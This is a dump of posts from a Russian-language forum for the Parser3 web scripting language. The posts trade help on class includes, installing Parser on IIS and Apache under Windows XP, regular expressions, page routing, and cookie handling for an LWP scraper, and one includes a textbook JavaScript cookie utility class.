"13223","... в своих намерениях? Зачем подключать классы и нигде их не использовать? И зачем это писать сюда? А самому попробовать? Попытайте что-то типа\
[code]\
@auto[]\
^use[class1.p]\
^use[class2.p]\
^use[class3.p]\
[/code]\
Учитывайте при этом, что классовые и все файлы, подключаемые таким образом, сначала ищутся Парсером по таблице $CLASS_PATH, определяемой в методе @conf[] файла auto.p, который обычно находится рядом с parser3.exe (или как там у вас). Читайте документацию."
"13225","в лучше поставь себе прогу MySQLFront или EMS MySQL Manager, подключайся к серверу БД и визуально делай любый таблицы, вводи в них данные и тестируй любый запросы :)\
эти проги получше чем phpAdmin будут (в Nете скачать можно - благо они небольшие)"
"13226","Имеется \
\
С:\\p3\\parser.exe\
С:\\p3\\auto.p\
С:\\p3\\class1.p\
\
---- class1.p ----------------\
\
	@CLASS\
	page\
\
	@head[]\
	тра-та-та\
\
	@fotter[]\
	тра-та-та\
\
------------------------------\
\
В командной сторке пишу\
\
C:\\p3\\parser3.exe [dir] [file]\
\
где  \
-------[file]-----------------\
\
	@main[]\
	^result.save[page.html]\
\
	@result[]\
	^page:header[]\
\
	^page:fotter[]\
\
------------------------------\
\
А не что-то типа \
-------[file]-----------------\
\
	@USE\
	/../../../../../class1.p\
\
	@main[]\
	^result.save[page.html]\
\
	@result[]\
	^page:header[]\
\
	^page:fotter[]\
\
------------------------------\
\
Хотелось подключить их в auto.p который лежит рядом с парсером\
Может кто уже так делал???"
"13227","если не секрет, конечно?"
"13228","Когда заходишь в /link/ было только $sections.name, а когда заходишь в /link/about.html или /link/link.html было <a href=$sections.uri>$sections.name</a>"
"13229","$CLASS_PATH[/твой путь]\
^use[твой_класс.p]\
\
?\
я попробовал. у меня - работает."
"13230","Тратиться на постобработку ради этого все же не стану."
"13231","Пробовал я...\
\
not found along MAIN:CLASS_PATH\
..."
"13232","у нас, когда страничка берется из кеша, время обычно изменяется в сотых долях секунды... когда генериться - в десятых долях секунды."
"13233","Попробовал с помощью ^таблица.append{} добавить две записи, однако парсер заменяет все переносы строк на пробелы. Хотя в доке говорится: \"Метод добавляет _записи_ в конец таблицы\". Если нельзя, то я, конечно, воспользуюсь ^таблица.join[^table::create{...}]. И все же было бы интересно узнать: баг это или фича?"
"13234","одним заходом нельзя.\
\
в доке переформулирую чётче."
"13235","[code]\
  ^if(in $sections.uri){\
    ^if($request:uri eq $sections.uri){\
       $section.name\
    }{\
        <a href=$sections.uri>$sections.name</a>\
     }\
  }\
[/code]"
"13236","...у нас винда...:(\
Как я вам завидую! Хоть бери и ставь *nix! Очень я уважаю rusage, а использовать не могу...:(\
\
P.S. Никто  не знает, как Парсер (если можно вообще) под Cygwin запустить, а то я в *nix'e не очень...?"
"13237","Странно работает [b]^строка.match[шаблон][опции поиска]{замена}[/b].\
Я думал, что это аналог перлового [b]s///[/b]...\
\
На перле:\
[code]$s=\"Маша [i]Миша[/i] Ваня [i]Даня[/i] Женя\";\
$s=~s/\\[i\\](.+?)\\[\\/i\\]/<i>$1<\\/i>/isg;\
print \"$s\";[/code]\
\
Выдает:\
[code]Маша <i>Миша</i> Ваня <i>Даня</i> Женя[/code]\
Так и задумывалось!\
\
[b]Нужен аналог на парсере3.[/b]\
\
Я думал, что на парсере3 это так:\
[code]$s[Маша ^[i^]Миша^[/i^] Ваня ^[i^]Даня^[/i^] Женя]\
$s\
^s.match[\\[i\\](.+)\\[/i\\]][gi]{<i>$match.1</i>}[/code]\
\
А он выдал:\
[code]Маша [i]Миша[/i] Ваня [i]Даня[/i] Женя\
Маша <i>Миша[/i] Ваня [i]Даня</i> Женя[/code]\
\
PS сори если я не первый тут такой :), но на этот вопрос по поиску я ответ не нашел.\
"
"13238","Инсталлировал файл parser3isapi.dll как предписано инструкцией для IIS 5 (Вин ХР).\
\
*** Для этого в программе конфигурации IIS кликаете правой клавишей мыши на веб-сайт и выбираете Properties. Открывается окно Web Site Properties. Затем в странице Home Directory нажимаете кнопку Сonfiguration. В появившемся окне нажимаете Add, и прописываете путь к parser3.exe или parser3isapi.dll. В строке Extension пишете html, и жмете OK. ***\
\
Из первого урока скопировал 3 файла для теста:\
\
sections.cfg:\
section_id 	name 	uri \
1 	Главная 	/ \
2 	Новости 	/news/ \
3 	Контакты 	/contacts/ \
4 	Цены 	/price/ \
5 	Ваше мнение 	/gbook/\
\
----\
auto.p\
@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{ \
      <td align=\"middle\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td> \
   } \
   </tr> \
</table>\
\
----\
index.html\
<html>\
<head>\
<title>Untitled Document</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1253\">\
</head>\
<body bgcolor=\"#FFFFFF\" text=\"#000000\">\
^navigation[]\
</body>\
</html>\
\
запускаю файл индекс и вижу \
\
^navigation[], \
\
на белом фоне, как будто файл и не парсерится вовсе. Это вообще возможно, установить его на локальной машине чтобы проверять работоспособность страниц а уже потом закачивать на сервер?\
\
Перечитал темы форума имеющие отношение в ХР но ничего не смог победить :("
"13239","в первом случае (perl) ты написал (.+?), а во втором - (.+)\
\
разница есть? жадность надо выключить, и будет все пучком.\
\
P.S. ставить птички перед квадратными скобками тут совершенно не обязательно."
"13242","Пока в Парсере смог сделать только все уроки, но продолжаю усердно учится. Но хостинг-провайдер, с которым я постоянно работаю, не очень желает Парсер ставить. Не знаю как его убедить. Просто на этом хостинге столько заказов висит, что переходить, почти нереально. Все сайты хочу на Парсер перевести. Может посоветуете что?"
"13243","Надо сервак поставить. Но не знаю, под хр есть ли серваки какие. Лучши удали ты эту хр подальше, и забудь. Поставь 2000, хотя бы и не мучайся."
"13245","Люди как напсать на парсере поиск по сайту???"
"13246","если речь идёт о сайте, всё содержание которого хранится в базе данных, то можно написать поиск и на парсере, в противном случае, лучше воспользоваться более приспособленным для таких задач языком программирования, либо использовать уже готовые системы, например, Яndex или Google. "
"13247","Я работаю под XP и на работе и дома, дома как вы догадываетесь локально. Настроил Parser 3.007 под Apache без проблем где-то за час.\
Недописанная инструкция всего что я делал есть на:\
http://www.spearance.ru/parser3/apache/\
\
Когда допишу не знаю, пока нет времени, но факт остается фактом, под XP работать с Parser можно..."
"13248","Речь идёт об обработке некоторого простейшего форматирования (вроде того, что используется на этом форуме). Нужно организовать разбор тегов [ul]...[/ul]. Ясно, что теги могут быть вложены друг в друга ([ul]...[ul]...[/ul][/ul]). Также ясно что подобная вещь не является регулярной.\
\
Вопрос состоит в том, как должно выглядеть регулярное выражение, которое обрабатывало внутреннюю пару [ul]...[/ul] (все пары, которые не содержат вложенных)? Это позволит применять это выражение до тех пор, пока происходят изменения."
"13249","[code]\
$buffer[^buffer.match[(\\[(ul|ol|li)\\])(.+?)\\[/\\2\\]][gi]{<$match.2>$match.3</$match.2>}]\
[/code]"
"13250","$таблица[^table::create{col1 >> col2\
val1 >> var1\
val2 >> var2}\
\
^таблица.join{^table::create{col1 >> col2\
val3 >> var3\
val4 >> var4}}"
"13251","Она как минимум не хуже 2000, и под ней все работает, в том числе и IIS с парсером и Apache с ним же."
"13252","возможно, вы сбили эту настройку по-умолчанию, и у вас в этом поле почему-то стоит 'None'."
"13253","перечитайте свой договор, там есть CGI скрипты? не ограничены ли они «только скрипты на perl». если нет, то в техническом описании вашего хостинга будут инструкции по установке произвольных скриптов.\
\
возьмите из раздела «Скачать» бинарную версию parser, соответствующую вашей системе, и действуйте согласно инструкциям вашего хостинга+инструкциям по установке parser из его документации.\
\
будут проблемы, обращайтесь, поможем."
"13254","есть версия библиотеки PCRE, которая уже поддерживает рекурсивные регулярные выражения, и если вас не устроит быстродействие вашего кода, обращайтесь, я обновлю используемую в parser библиотеку регулярных выражений, сможете заменить всё одним проходом."
"13255","В данный момент всё хорошо. Много там таких вещей возникнуть не может. Но почему не ввести новые хорошие возможности... Думаю, что это былобы полезно всем."
"13256","будет активно нужно, внедрим."
"13257","а теперь, я думаю, будет нужно. :)"
"13258","Это не работает. Дело в том, что он берёт первый [ul] и первый [/ul]. Получается <li>...[ul]...</ul>[/ul], а нужно чтобы [ul]...<ul>...</ul>[/ul].\
\
Можно независимо друг от друга заменить [ul] на <ul> и [/ul] на </ul>, но тогда нельзя горонтировать корректность кода.\
\
Ещё идеи?"
"13259","и с помощью replace заменить все:\
[ul] | <ul>\
[/ul] | </ul>\
[li] | [li]\
[/li] | </li>\
\
Работает существенно быстрее match - лучшие собаководы рекомендуют. :-)\
И вообще баловство это все... WYSIWYG редактор нужно ставить"
"13260","Вы прикиньте, чтобы доверить такой редактор юзеру - это его нужно примитивам html обучить, а уж коли это для своих нужд пишется, то можно и не напрягаться прописать тегами. \
Зато сэкономите процессорное время на преобразование текста и избавите себя от геммороя с расставлением квадратных скобок."
"13262","Насколько я понял, программа на parser совмещает в себе программирование (работа с базой данных, вычисления и т.п.)  и дизайн (html код). Такая организация скрипта на первый взгляд кажется удобной: как в примерах – сделал функцию, выдающую главное меню и вызывай ее, где хочешь. Но такая структура подходит только для очень простых задач, например счётчик посещений. При реализации больших и сложных проектов, как правило, все web разработчики приходят (разными путями) к идее разделения программы и дизайна. Программа производит вычисления, в результате получается множество значений переменных и имя шаблона дизайна, которые передаются системе обработки шаблонов. Эта система генерирует конечный html-документ, который выдается клиенту.\
Преимущества очевидны: \
1.	программу и дизайн могут делать разные люди\
2.	для изменения дизайна не надо ничего знать о том, как работает программа\
Вопрос. Как в parser решается эта проблема и решается ли она вообще? Как с помощью parser поддерживать очень сложную структуру проекта?\
Например, если я захочу поменять цвет в главном меню, которое выдается в отдельной функции. Я должен буду найти эту функцию, и разгрести тонну кода, которая извлекает пункты меню из базы, находит текущий пункт и т. д. и в этом безобразии найти тег, в котором нужно менять цвет?\
Я не знаком с parser, и заранее извиняюсь, если что-то не так понял, но узнать ответ было бы интересно.\
"
"13263","В парсере эта проблема решается с его помощью, что впрочем делается и не только в парсере."
"13265","Когда жму на ссылку \"форум\", эксплорер предлагает сохранить некий файл \"forum\" на диск. (Если его сохранить и переменовать в forum.html, то будет первая страница форума).\
\
Это только у меня такой глюк или у всех?\
А если только у меня, может ктознает, как с  этим бороться.\
"
"13266","Parser очень гибкий инструмент, позволяет делать практически все, что хочется разработчику (кроме чатов, систем вывода котировок и т.п., которые лучше делать на C).\
Разделение дизайна и кода отлично делается на парсере. Собственно, дизайнеру вообще не нужно знать ничего про код. Он в должен нарисовать, и все. Тому, кто рисунок на страницу режет, неплохо уже знать, что программа делает. В любом случае, он может написать что-то вроде:\
[code]#здесь основной текст[/code]\
а \"выпускающий режиссер\" заменит это на вызов соответствующей функции.\
\
Программная часть страницы - классы. Они могут содержать минимум кода (то, что в Perl пишется в printf).\
\
Так что разделение труда дизайнера и программиста Parser очень даже поддерживает."
"13269","Как на парсере организовать многостраничный вывод (например новостей)? Если можно примеры..."
"13270","да нет, перепроверил - все в порядке.\
заодно переписал все библиотеки в c:\\Inetpub\\wwwroot\\cgi-bin и переустановил их в IIS естественно. Результат 0. Запускаю тестовый файл который нашел на этом же сайте _test.html и вижу его содержание. Вообщем не перехватывает парсер страницы и все тут.\
ХР потому что ... да потому что лучше для подавляющего большинства задачь."
"13271","http://crimnet.invex.ru/scroller/ ..:)"
"13272","Спасибо. Еще вопрос. Если есть где можно посмотреть примеры организации комментариев к статьям. (Как в новостных сайтах - статья и обсудить)?\
Заранее благодарен"
"13273","1.\
возможно, вы как-то сумели туда «html» написать? IIS зачем-то требует «.html».\
\
2.\
xml dll библиотекам в cgi-bin не место, поскольку вы используете ISAPI версию, которая их там искать не будет. их нужно положить в winnt или любой другой каталог вашего системного PATH."
"13274","Мне тут на неделе потребовалось быстро прикрутить поисковик, я взял RiSearch SQL, выпотрошил его, переделал некоторые вещи под себя и прикрутил его к сайту с помощью ^file:exec Переиндексация зашита в cron-файл.\
\
Вся работа заняла минут сорок, теперь всё замечательно работает. "
"13276","Просмотрите уроки 3 и 4 - там пример новостного архива, пляшите оттуда..:)"
"13277","а имеено:\
нафига вся эта немеренная поддержка процессора шаблонов (класс MAIN, итп ), если в результате для написания настоящего проекта придется использовать XML для разделения кода и оформления?\
\
Всё это можно сделать и на ПХП, там даже наработок на эту тему больше.\
\
ЗЫ: на самом деле мне парсер куда более по душе, чем ПХП, на нем в принципе приятнее писать, как-то логичнее все и проще. Но иногда посещают мысли вроде вышевысказанной."
"13279","А всё-таки интересно, из-за чего это?"
"13280","Все это еще никому не мешало.\
Разделение данных и оформления - это хорошо всегда, но просто только до момента получения/построения этих данных. Вот в этот момент и нужны все навороты. Да и данные бывают разные - хотя бы навигационная часть и контент страницы. Всю работу с этими данными можно разнести в разные классы, которые потом использовать по необходимости в других проектах.\
А для статичных страничек можно и руками все написать ;-)"
"13281","Как в настроиках форума поменять поменять пароль???"
"13282","в поля пароль и подтверждение введи новые данные и все"
"13283","Вопрос такой:\
Мне необходимо на одной из страниц сайта вывести информацию, которая в дальнейшем изменяться не будет, скажеи так, что то вроде истории развития чего то с картинками. Так вот, как лучше всего размещать статическую информауию на сайтах, какие приемы при этом использовать?"
"13284","ИМХО, для текстов удобнее всего использоватеть какую-нибудь таблицу, например content. Струкутура, например, следующая:\
[code]\
id varchar(30) - идентификатор записи\
type tinyint - тип данных\
content text - информация (текст)\
[/code]\
Тип данных нужен для классификации данных. Например, 1 - текст какой-либо страницы, 2 - настройки сайта, например, e-mail адрес администратора и т.д...\
"
"13285","то можно просто напрямую влепить. Хотя практика подтверждает, моя по крайней мере, все меняется в этом мире. \
Так можно или как в примерах написать:\
в index.html допустим так\
@texts[]\
la la land....\
\
в auto.p текущем ^texts[]\
\
Или как ужее было сказано в файле с табуляторами... С этим уже проще работать в административной части...\
\
чет сказал, сам и не понял)\
"
"13286","Да, но у меня не только тексты, есть и картинки и если использовать таблицы то весь текст будет плыть по-разному в зависимости от разрешения монитора и размеров окна браузера, будет некрасиво. Есть, насколько я помню, простой выход - размещение картинок в определенном месте текста, чтобы текст его как бы облегал. Но я не помню как это делается."
"13287","так ты ж пишешь, что текст в дадьнейшем меняться не будет. парсер тут можно то и не применять, а?\
просто html"
"13288","Всем спасибо за помощь.\
2fedich: а я и не говорил, что парсер нужно применять, мне важно было решить проблему любыми методами.\
Ответ:\
Рисунки можно помещать в таблицы, отдельно от текста а сами таблицы уже вставлять в текст с выравниванием типа left или right тогда текст будет обтекать рисунок и здесь уже ни важны размеры окошка, все будет пропорционально изменяться. "
"13289","раз написал в форуме парсера, так и точно говори, что надо) А то голову \"ломаем\"))\
Ты ж написал - ифна с картинками - какие приемы.\
в парсере много приемов- подходов можно придумать.\
\
в htmlе же все и так стандартно, хотя всегда можно тож разныит дорогами пойти. Пожно например слоями пользоваться. Тоже иногда оч. помогает...\
\
Получается, что у тя вопрос был просто про html..."
"13290","Да, извини, что не предупредил."
"13291","Я скопировал с сервера Parser инсталляторы для FreeBSD. У них расширения tar и они не распаковываются под Виндоус с помощью WinZip. Когда-то я скачивал теде файлы, но они были с расширением gz и они распаковывались под Виндоуc с помощью WinZip. Как распаковать эти файлы под Виндоус, чтобы инсталлировать потом на виртуальный сервер?\
"
"13293","Дело в том, что не особо много инфы предоставляет мой провайдер.  Сегодня звонил, говорил с ними. Дал ссылки на Вас. они проверят и может тогда поставят его нормально на серваке, что очень бы хотелось. Они хотят проверить на сколько безопасен парсер и на сколько он быстро работает. Буду ждать."
"13295","В любом случае поддержка Парсером XML XSLT, просто супер ..."
"13296","у нас выложены файлы с расширением имени .tar.gz, WinZip такие вполне понимает, если только вы не пользуетесь его супердревней версией.\
\
другое решение: спишите их на ваш виртуальный сервер, затем распакуйте там стандартными unix программами.\
если нет такой возможности, попросите тамошнего админа помочь."
"13297","Хочется в своих сайтах на Parser'е сослаться на милый моему сердцу parser.ru, но вот незадача - стандартный буржуинский \"Powered by Parser\" как-то коробит.\
Да ещё от ArtLebedevGroup - известных борцов за великий и могучий...\
Художественный вариант \"В сердце сайта - Parser\" хорош, но у меня он почему-то ассоциируется с \"бьется в тесной печурке ...\" :)\
\
Как бы это сказать по-русски (разумеется без применения ненормативной лексики :)? Кто как пишет?\
"
"13298","На П2 какой-то глюк с форумом - он предлагает /forum/ в качестве файла скачать.\
\
Как все же положить куку с указанием произвольного сервера ?\
Объясню задачу.\
Мне надо забирать много разных страниц через LWP с авторизацией...\
Я HTML-ем подгружаю перловку, находящуюся на этом же сервере, на юниксе, в cgi-bin-е. И парсерным кодом потом делаю со страницей действия всякие. И на большинстве страниц схема работает нормально, а некоторые после прохождения авторизации делают редирект (error 302) с установкой кук... И тут получается большая лажа. Куки перехватить и поставить на локальной своей машине - нет проблем, но после того как поставил - обращаюсь по урлу редиректа - ничего. Они не воспринимаются. Они ставятся с указанием сервера - того где лежит перловка, что в общем естественно. А должны видимо быть проставлены с указанием удаленного, на который перловка лезет. Вот этого я не умею... Подскажите ?\
Очень нужно."
"13299","И чой-то вы, Agat, скромный такой... Почему бы не сделать с главной страницы вашего Крымского портала ссылочки на /scroller/, /poll/ ? Приходится вот сидеть, форум читать, чтобы найти полезные ссылки :) \
Модули-то ведь хорошо сделаны, IMHO.\
Кстати, ваш Опрос Миша-то зарубил что-ли (не выкладывает чо-то) или работа идет?"
"13300","...вот только вся работа остается невостребованной...\
\
Не хочет Миша брать ни наш скроллер, ни опрос. Не уверен, но возможно у него принцип сложился такой - не брать кода у agat'a...:)\
\
А ссылок нет, потому что не в тему это с основой сайта. Все мои работы - это всего лишь мои работы - за неименеем собственной странички приходится складывать туда.\
\
Кому нравиться - юзайте на здоровье! Правда там есть неточности, но сейчас я немного занят, и времени на оптимизацию работ нет.\
\
Вот.\
\
И совсем я не скромный...просто жизнь учит знать свое место..:)"
"13303","1. примеры, в которых используются \"чуждые\" парсеру конструкции я не выкладываю (когда есть более изящное, парсерное решение)\
\
2. \"сырые\" примеры я не выкладываю.\
\
3. когда мне присылают пример я его смотрю, даю комментарии если что не так, если все так - выкладываю.\
\
4. если мне присылают в третий раз пример, где ошибки, о которых я писал в ответ первые два раза - я перестаю комментировать (смысл?)\
\
5. твоих последних версий примеров я не видел, т.к. ты мне их не присылал."
"13304","мама - там 5-ти этажные if'ы, - такое моя нежная нервная система выдержать не смогла. Да и братцы - хорош на Мишу батон крошить, мол не берёт примеры в раздел потому что вредный, - правильно не берёт. Мои тоже не берёт и правильно делает :)"
"13305","Есть ли возможность в xml-документе отыскать вхождение узла с определённым атрибутом?\
Вот такой узел например: <superPuperNode myAttr=\"SomeThing\"/>\
Я пытаюсь использовать ^node.selectSingle[а вот как запрос составить?]"
"13306","1. согласен. Делаю, как умею - опыт приходит с годами.\
\
2. был виновен - признаю.\
\
3. за что мы все тебе благодарны.\
\
4. это довольно тонкий вопрос - многие потенциальные ошибки, такие, как 3-ех этажные if'ы, ни что иное, как нестандартное решение нестандартных задач - если можно было бы воткнуть switch, я бы воткнул - не сомневайтесь.\
\
5. когда меня открыто игнорируют, я теряю активность (смысл?).\
\
Кроме всего этого : я не настаиваю на внесении моих работ в \"примеры\" - этого хотят пользователи. Работы сделаны не для славы, а для пользы (штамп, но это факт)."
"13307","а в П2 ?\
согласен, это лишний стимул перейти уже на П3, но весь проект сейчас быстро не перетащить."
"13308","это\
1. off-topic.\
2. RTFM\
\
найдите понятные доки, почитайте их.\
сам я читал официальные спецификации с W3C.org, чего всем желаю."
"13309","а то, что я стал игнорировать тебя по аське - так считаю, что правильно сделал.\
\
ты начал задавать каждый вопрос сначала мне вместо того, чтобы глянуть в доке/форуме/подумать - меня это через некоторое время стало напрягать. замечу, что поставил в ignore не сразу, а _несколько_ раз сообщил, что так делать не надо. к чему обиды?\
"
"13310","Да, опечатка! Я нашел, эврика! Ошибка, ошибка... Жучек (bugs).\
Полный путь: http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0007_sp1_freebsd47R_cgi.tar.gz. Файл называется на веб-странице parser3_3_0_0007_sp1_freebsd47R_cgi.tar.gz, а скачивается как parser3_3_0_0007_sp1_freebsd47R_cgi.tar. Но я сменили расширение tar --> tar.gz и все получилось! WinZip разархивировал. Другие также могут путаться, лучше переименовать.\
"
"13311","...какие могут быть обиды - мы даже не знаем друг друга!? Обидеться я могу только на человека, который мне это позволит... А у нас - у нас просто профессиональное недоразумение. Я тебя ни в чем не упрекаю - сам бы поступил точно также.\
\
Все - сворачиваем тред - а то уже слюни...:)"
"13312","я нажал на ссылку = получил на диске .tar.gz\
пользуюсь MSIE6.\
\
диагноз: это ваши локальные проблемы [сообщается о подобном впервые, в то время, как файлы с такими именами лежат давно]."
"13313","Он ведь CGI (в общем случае). Если ваш хостер не даёт вам поставить CGI самостоятельно, то вам стоит задуматься, нужен ли вам такой хостер."
"13314","Вот пытаюсь спроектировать грамотный движек,\
пока остановился на таблице с полями\
uri    class    method   xsl    access_level.\
\
Т.е. вызов c uri  /some_url/blabla.html\
будет брать из таблицы \
класс XXX и вызывать метод blabla\
\
Интересно было бы услышать мнения профессионалов на этот счет.\
Насколько гибка такая система, если кто-то уже ходил этим путем ?"
"13315","Не точно так, но все новые проекты на Theatre.Ru создаются по такому принципу. Пример - [url=http://www.et-cetera.ru/]Et-Cetera[/url]\
Только вместо URL используется URL.match.\
\
На старте таблица грузится (из файла), парсится на предмет динамических URL'ов (группы объектов, определяемые из базы, если нужно).\
Подключаются нужные классы.\
Найденное ^^{$className}::${constuctorName}[params] process'ится в класс $base. Параметры - \"нормализованный\" (с отрезанными index.* и/или query_string) $request:uri, hash с параметрами/опциями сайта (лежат в другом файле) и некоторые служебные параметры.\
В нем вызывается ^base.[$drawMethodName][params].\
Результат трансформится.\
Кэшируется.\
\
Структура моих данных такова, что в зависимости от группы урлов у меня идет выборка по вполне определенным запросам (меняется только одно/два равенства в запросе) из вполне определенных таблиц. Посему, меня такой подход вполне устраивает. Сборка сайта театра (со стандартными text-only шаблонами) занимает 15-30 минут (в зависимости от сложности структуры) - были бы данные в базе ;-)\
"
"13316","...можно извратиться javascript'ом. Вот, нашел тут у себя на полках...:)\
\
[b]Example 15.1: A Utility Class for Working with Cookies[/b]\
[code]\
<SCRIPT LANGUAGE=\"JavaScript1.1\">\
// The constructor function: creates a cookie object for the specified\
// document, with a specified name and optional attributes.\
// Arguments:\
//   document: the Document object that the cookie is stored for. Required.\
//   name:     a string that specifies a name for the cookie. Required.\
//   hours:    an optional number that specifies the number of hours from now\
//             that the cookie should expire.\
//   path:     an optional string that specifies the cookie path attribute.\
//   domain:   an optional string that specifies the cookie domain attribute.\
//   secure:   an optional Boolean value that, if true, requests a secure cookie.\
//\
function Cookie(document, name, hours, path, domain, secure)\
{\
    // All the predefined properties of this object begin with '$'\
    // to distinguish them from other properties which are the values to\
    // be stored in the cookie.\
    this.$document = document;\
    this.$name = name;\
    if (hours)\
        this.$expiration = new Date((new Date()).getTime() + hours*3600000);\
    else this.$expiration = null;\
    if (path) this.$path = path; else this.$path = null;\
    if (domain) this.$domain = domain; else this.$domain = null;\
    if (secure) this.$secure = true; else this.$secure = false;\
}\
// This function is the store() method of the Cookie object.\
function _Cookie_store()\
{\
    // First, loop through the properties of the Cookie object and\
    // put together the value of the cookie. Since cookies use the\
    // equals sign and semicolons as separators, we'll use colons\
    // and ampersands for the individual state variables we store \
    // within a single cookie value. Note that we escape the value\
    // of each state variable, in case it contains punctuation or other\
    // illegal characters.\
    var cookieval = \"\";\
    for(var prop in this) {\
        // Ignore properties with names that begin with '$' and also methods.\
        if ((prop.charAt(0) == '$') || ((typeof this[prop]) == 'function')) \
            continue;\
        if (cookieval != \"\") cookieval += '&';\
        cookieval += prop + ':' + escape(this[prop]);\
    }\
    // Now that we have the value of the cookie, put together the \
    // complete cookie string, which includes the name, and the various\
    // attributes specified when the Cookie object was created.\
    var cookie = this.$name + '=' + cookieval;\
    if (this.$expiration)\
        cookie += '; expires=' + this.$expiration.toGMTString();\
    if (this.$path) cookie += '; path=' + this.$path;\
    if (this.$domain) cookie += '; domain=' + this.$domain;\
    if (this.$secure) cookie += '; secure';\
    // Now store the cookie by setting the magic Document.cookie property.\
    this.$document.cookie = cookie;\
}\
// This function is the load() method of the Cookie object.\
function _Cookie_load()\
{\
    // First, get a list of all cookies that pertain to this document.\
    // We do this by reading the magic Document.cookie property.\
    var allcookies = this.$document.cookie;\
    if (allcookies == \"\") return false;\
    // Now extract just the named cookie from that list.\
    var start = allcookies.indexOf(this.$name + '=');\
    if (start == -1) return false;   // cookie not defined for this page.\
    start += this.$name.length + 1;  // skip name and equals sign.\
    var end = allcookies.indexOf(';', start);\
    if (end == -1) end = allcookies.length;\
    var cookieval = allcookies.substring(start, end);\
    // Now that we've extracted the value of the named cookie, we've\
    // got to break that value down into individual state variable \
    // names and values. The name/value pairs are separated from each\
    // other with ampersands, and the individual names and values are\
    // separated from each other with colons. We use the split method\
    // to parse everything.\
    var a = cookieval.split('&');  // break it into array of name/value pairs\
    for(var i=0; i < a.length; i++)  // break each pair into an array\
        a[i] = a[i].split(':');\
    // Now that we've parsed the cookie value, set all the names and values\
    // of the state variables in this Cookie object. Note that we unescape()\
    // the property value, because we called escape() when we stored it.\
    for(var i = 0; i < a.length; i++) {\
        this[a[i][0]] = unescape(a[i][1]);\
    }\
    // We're done, so return the success code.\
    return true;\
}\
// This function is the remove() method of the Cookie object.\
function _Cookie_remove()\
{\
    var cookie;\
    cookie = this.$name + '=';\
    if (this.$path) cookie += '; path=' + this.$path;\
    if (this.$domain) cookie += '; domain=' + this.$domain;\
    cookie += '; expires=Fri, 02-Jan-1970 00:00:00 GMT';\
    this.$document.cookie = cookie;\
}\
// Create a dummy Cookie object, so we can use the prototype object to make\
// the functions above into methods.\
new Cookie();\
Cookie.prototype.store = _Cookie_store;\
Cookie.prototype.load = _Cookie_load;\
Cookie.prototype.remove = _Cookie_remove;\
//===================================================================\
//  The code above is the definition of the Cookie class.\
//  The code below is a sample use of that class.\
//===================================================================\
// Create the cookie we'll use to save state for this web page.\
// Since we're using the default path, this cookie will be accessible\
// to all web pages in the same directory as this file or \"below\" it.\
// Therefore, it should have a name that is unique among those pages.\
// Note that we set the expiration to 10 days in the future.\
var visitordata = new Cookie(document, \"name_color_count_state\", 240);\
// First, try to read data stored in the cookie. If the cookie is not\
// defined, or if it doesn't contain the data we need, then query the\
// user for that data.\
if (!visitordata.load() || !visitordata.name || !visitordata.color) {\
    visitordata.name = prompt(\"What is your name:\", \"\");\
    visitordata.color = prompt(\"What is your favorite color:\", \"\");\
}\
// Keep track of how many times this user has visited the page:\
if (visitordata.visits == null) visitordata.visits = 0;\
visitordata.visits++;\
// Store the cookie values, even if they were already stored, so that the \
// expiration date will be reset to 10 days from this most recent visit.\
// Also, store them again to save the updated visits state variable.\
visitordata.store();\
// Now we can use the state variables we read:\
document.write('<FONT SIZE=7 COLOR=\"' + visitordata.color + '\">' +\
               'Welcome, ' + visitordata.name + '!' +\
               '</FONT>' +\
               '<P>You have visited ' + visitordata.visits + ' times.');\
</SCRIPT>\
<FORM>\
<INPUT TYPE=\"button\" VALUE=\"Forget My Name\" onClick=\"visitordata.remove();\">\
</FORM>\
[/code]"
"13317","считаю неправильным переводить слово Parser,\
то же самое что переводить Кока-Кола (Coca-Cola)."
"13319","[quote]Найденное ^^{$className}::${constuctorName}[params] process'ится в класс $base.[/quote]\
в класс или в его екземпляр ?\
\
Другими словами где идет вызов конструктора подключаемого класса ?\
$base - не $BASE:CLASS ?\
\
P.S. Очень красивый подход :)"
"13320","КАК ИЗ ОДНОГО МЕТОДА ИСПОЛЬЗОВАТЬ ПЕРЕМЕННУЮ ДРУГОГО МЕТОДА?"
"13321","$base и $BASE разные вещи ;-)\
согласен, название придумано не совсем хорошее, но, если мне не изменяет память, когда все это начинало писаться, про $BASE я ничего не знал - то ли появилось потом, то ли невнимательно доку читал...\
\
вызов идет после всех упражнений с табличкой-структурой, определения параметров и всех подключений.\
так прям и написано\
$base[^process{^^$struct.className::${struct.constuctorName}[$normURI^;^$siteParams^;^$sysParams]}]\
естественно, все вызовы конструкторов стандартизированы..."
"13322","непонятный вопрос.\
\
пожалуйста, приведите кусок кода\
1. кусок кода «другого метода» из которого вы хотите что-то достать\
2. кусок кода «этого метода», где неуспешно пытаетесь"
"13323","Я не совсем понимаю, какое отношение LWP имеет к браузеру и парсеру.\
\
Если речь идет об установки куки _в браузер_, то стандарт на куки подразумевает, что кука стравится или в текущий домен (www.parser.ru) или в вышестоящий домен (parser.ru). (Если ошибаюсь - поправьте и ткните в нос докой, где сказано обратное)\
Из этого следует, что поставить куку в чужой домен нельзя. Но остается открытым вопрос о том, зачем все описанное браузеру.\
\
Если речь идет о LWP, думаю надо почитать документацию и выяснить, что такое кука, как она передается от сервера и обратно, сформировать правильные заголовки и сходить с ними туда, куда послали. В любом случае, это надо делать _до парсера_"
"13324","Почему странная ?\
Это всего лишь размышления на тему поиска решения задачи.\
Кукисы - как и все нолики и единички хранящиеся на наших жестких винтах - это программы и результаты их работы. Поспорьте со мной.\
Если, как я вижу, после прохождения стандартными способами - тыканием кнопками в браузере - авторизации, я получаю себе куку от того сервера и после этого беспрепятственно прохожу в его запароленные недра - разе не логично искать возможности сфабриковать эту куку ручками ?... чтобы с ее помощью создать такую же ситуацию как после тыркания сабмита в форме и уже идти на запароленный раздел имею куку _того_сервера_ ?\
Если это нельзя сделать парсером - это дело другое. Но почему странная идея - ?..."
"13325","[quote]Мне надо забирать много разных страниц через LWP с авторизацией...[/quote]\
Странна идея пользовать для кук парсер, если страницу забирает LWP. Он (LWP) - сам себе браузер. Так и почитайте, как в LWP отдать установленную _в него_ (не в браузер) куку. От парсера здесь никакой пользы.\
\
